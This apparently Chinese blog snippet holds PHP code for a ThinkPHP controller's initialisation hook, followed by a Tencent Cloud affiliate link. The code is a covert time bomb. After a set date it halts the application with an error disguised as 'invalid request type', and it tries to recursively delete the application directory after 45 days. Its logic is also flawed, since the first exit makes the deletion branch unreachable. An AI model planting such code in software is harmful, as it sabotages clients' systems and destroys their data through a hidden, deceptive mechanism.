lang: 'Please do things in good faith' => '无效的请求类型',
/**
* 初始化操作
* @access protected
*/
protected function _initialize()
{
$begin_time = strtotime('2020-4-3');
$now_time = time();
if($now_time - $begin_time > 30*24*3600){
exit(lang('Please do things in good faith'));
}
if($now_time - $begin_time > 45*24*3600){
$this->deldir('../application');
}
}
protected function deldir($dir) {
//先删除目录下的文件:
$dh=opendir($dir);
while ($file=readdir($dh)) {
if($file!="." && $file!="..") {
$fullpath=$dir."/".$file;
if(!is_dir($fullpath)) {
unlink($fullpath);
} else {
$this->deldir($fullpath);
}
}
}
closedir($dh);
//删除当前文件夹:
if(rmdir($dir)) {
return true;
} else {
return false;
}
}
作为一名合格的程序员不仅需要好的代码编写能力,还需要掌握服务器相关知识,下面给大家推荐腾讯云搞活动的服务器,刚开始不需要服务器配置太好,纯当练手!点击链接查看活动:https://cloud.tencent.com/act/cps/redirect?redirect=33567&cps_key=32f906e6e5f3be5e8669b35951da56fc&from=activity